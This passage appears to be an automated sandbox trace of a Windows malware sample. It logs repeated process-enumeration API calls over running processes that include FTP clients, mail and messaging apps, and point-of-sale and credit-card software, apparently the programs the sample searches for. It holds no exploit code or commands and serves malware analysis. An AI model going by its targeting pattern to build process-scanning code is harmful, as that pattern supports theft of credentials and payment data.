th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0283.676] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0283.678] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0283.680] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0283.682] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0283.684] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0283.686] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0283.688] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0283.690] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0283.692] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0283.694] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0283.696] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0283.698] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0283.699] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0283.701] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0283.703] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0283.705] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0283.707] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0283.709] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0283.711] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0283.713] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0283.715] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0283.718] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0283.720] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0283.722] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0283.724] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0283.726] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0283.728] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0283.730] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0283.732] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0283.735] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0283.737] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0283.739] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0283.818] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0283.821] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0283.823] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0283.825] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0283.829] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0283.831] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0283.833] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0283.836] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0283.838] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0283.841] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0283.843] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0283.846] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0283.848] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0283.851] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0283.853] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0283.855] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0283.857] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0283.860] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0283.862] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0283.864] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0283.866] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0283.868] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0283.871] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0283.873] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0283.875] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0283.877] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0283.879] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0283.881] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0283.884] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0283.886] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0283.888] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0283.890] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0283.892] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.894] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0283.896] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0283.898] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0283.900] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0283.902] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0283.904] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0283.905] CloseHandle (hObject=0xa10) returned 1 [0283.906] Sleep (dwMilliseconds=0x64) [0284.042] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0284.223] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.227] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0284.230] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0284.233] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.235] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0284.241] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.243] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0284.245] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0284.246] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0284.248] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.250] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.252] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: 